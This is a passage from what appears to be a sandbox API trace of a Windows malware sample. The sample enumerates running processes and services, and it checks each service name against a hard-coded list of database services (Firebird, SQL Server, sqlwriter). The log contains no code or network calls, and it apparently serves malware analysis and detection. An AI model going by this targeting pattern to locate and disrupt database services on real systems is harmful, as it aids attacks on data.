(lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0182.851] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0182.851] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0182.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0182.851] lstrlenW (lpString="PcaSvc") returned 6 [0182.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0182.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0182.851] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0182.851] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0182.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0182.851] lstrlenW (lpString="PlugPlay") returned 8 [0182.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0182.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0182.852] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0182.852] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0182.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0182.852] lstrlenW (lpString="Power") returned 5 [0182.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0182.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0182.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0182.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0182.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0182.852] lstrlenW (lpString="ProfSvc") returned 7 [0182.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0182.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0182.852] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0182.852] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0182.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0182.852] lstrlenW (lpString="RpcEptMapper") returned 12 [0182.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.852] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0182.852] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0182.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0182.852] lstrlenW (lpString="RpcSs") returned 5 [0182.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0182.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0182.852] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0182.852] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0182.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0182.852] lstrlenW (lpString="SamSs") returned 5 [0182.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0182.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0182.852] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0182.852] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0182.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0182.853] lstrlenW (lpString="Schedule") returned 8 [0182.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0182.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0182.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0182.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0182.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0182.853] lstrlenW (lpString="SecurityHealthService") returned 21 [0182.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0182.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0182.853] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0182.853] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0182.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0182.853] lstrlenW (lpString="SENS") returned 4 [0182.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0182.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0182.853] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0182.853] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0182.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0182.853] lstrlenW (lpString="ShellHWDetection") returned 16 [0182.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.853] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0182.853] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0182.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0182.853] lstrlenW (lpString="Spooler") returned 7 [0182.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0182.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0182.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0182.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0182.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0182.853] lstrlenW (lpString="StateRepository") returned 15 [0182.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0182.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0182.854] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0182.854] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0182.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0182.854] lstrlenW (lpString="SysMain") returned 7 [0182.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0182.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0182.854] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0182.854] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0182.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0182.854] lstrlenW (lpString="SystemEventsBroker") returned 18 [0182.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0182.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0182.854] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0182.854] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0182.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0182.854] lstrlenW (lpString="Themes") returned 6 [0182.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0182.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0182.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0182.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0182.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0182.854] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0182.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0182.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0182.854] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0182.854] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0182.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0182.854] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x478 [0182.859] Process32FirstW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.860] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.860] lstrlenW (lpString="System") returned 6 [0182.860] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.861] lstrlenW (lpString="smss.exe") returned 8 [0182.861] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.861] lstrlenW (lpString="csrss.exe") returned 9 [0182.861] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.862] lstrlenW (lpString="wininit.exe") returned 11 [0182.862] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.862] lstrlenW (lpString="csrss.exe") returned 9 [0182.862] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.863] lstrlenW (lpString="winlogon.exe") returned 12 [0182.863] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.863] lstrlenW (lpString="services.exe") returned 12 [0182.863] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.864] lstrlenW (lpString="lsass.exe") returned 9 [0182.864] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.864] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.864] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.864] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.864] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.865] lstrlenW (lpString="svchost.exe") returned 11 [0182.865] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.866] lstrlenW (lpString="svchost.exe") returned 11 [0182.866] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.867] lstrlenW (lpString="dwm.exe") returned 7 [0182.867] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.867] lstrlenW (lpString="svchost.exe") returned 11 [0182.867] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.867] lstrlenW (lpString="svchost.exe") returned 11 [0182.867] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.868] lstrlenW (lpString="svchost.exe") returned 11 [0182.868] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.868] lstrlenW (lpString="svchost.exe") returned 11 [0182.868] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.869] lstrlenW (lpString="svchost.exe") returned 11 [0182.869] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.869] lstrlenW (lpString="svchost.exe") returned 11 [0182.869] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.870] lstrlenW (lpString="svchost.exe") returned 11 [0182.870] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.870] lstrlenW (lpString="svchost.exe") returned 11 [0182.870] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.871] lstrlenW (lpString="svchost.exe") returned 11 [0182.871] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.871] lstrlenW (lpString="svchost.exe") returned 11 [0182.871] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.872] lstrlenW (lpString="spoolsv.exe") returned 11 [0182.872] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.872] lstrlenW (lpString="svchost.exe") returned 11 [0182.872] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.873] lstrlenW (lpString="audiodg.exe") returned 11 [0182.873] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0182.873] lstrlenW (lpString="sihost.exe") returned 10 [0182.873] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.874] lstrlenW (lpString="svchost.exe") returned 11 [0182.874] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0182.874] lstrlenW (lpString="taskhostw.exe") returned 13 [0182.874] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0182.875] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0182.875] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0182.875] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0182.875] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0182.875] lstrlenW (lpString="Memory Compression") returned 18 [0182.876] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.876] lstrlenW (lpString="explorer.exe") returned 12 [0182.876] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0182.877] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0182.877] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0182.877] lstrlenW (lpString="SearchUI.exe") returned 12 [0182.877] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0182.877] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0182.877] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0182.878] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0182.878] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0182.878] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0182.878] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0182.879] lstrlenW (lpString="consent.exe") returned 11 [0182.879] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0182.880] lstrlenW (lpString="dllhost.exe") returned 11 [0182.880] Process32NextW (in: hSnapshot=0x478, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0182.880] CloseHandle (hObject=0x478) returned 1 [0182.880] Sleep (dwMilliseconds=0x1f4) [0183.568] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e0c8 [0183.569] EnumServicesStatusExW (in: hSCManager=0x408e0c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0183.569] GetLastError () returned 0xea [0183.569] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4121fa0 [0183.569] EnumServicesStatusExW (in: hSCManager=0x408e0c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4121fa0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4121fa0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0183.570] CloseServiceHandle (hSCObject=0x408e0c8) returned 1 [0183.570] lstrlenW (lpString="Appinfo") returned 7 [0183.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0183.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0183.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0183.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0183.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0183.571] lstrlenW (lpString="AppXSvc") returned 7 [0183.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0183.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0183.571] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0183.571] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0183.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0183.571] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0183.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.571] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0183.571] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0183.571] lstrcmpiW 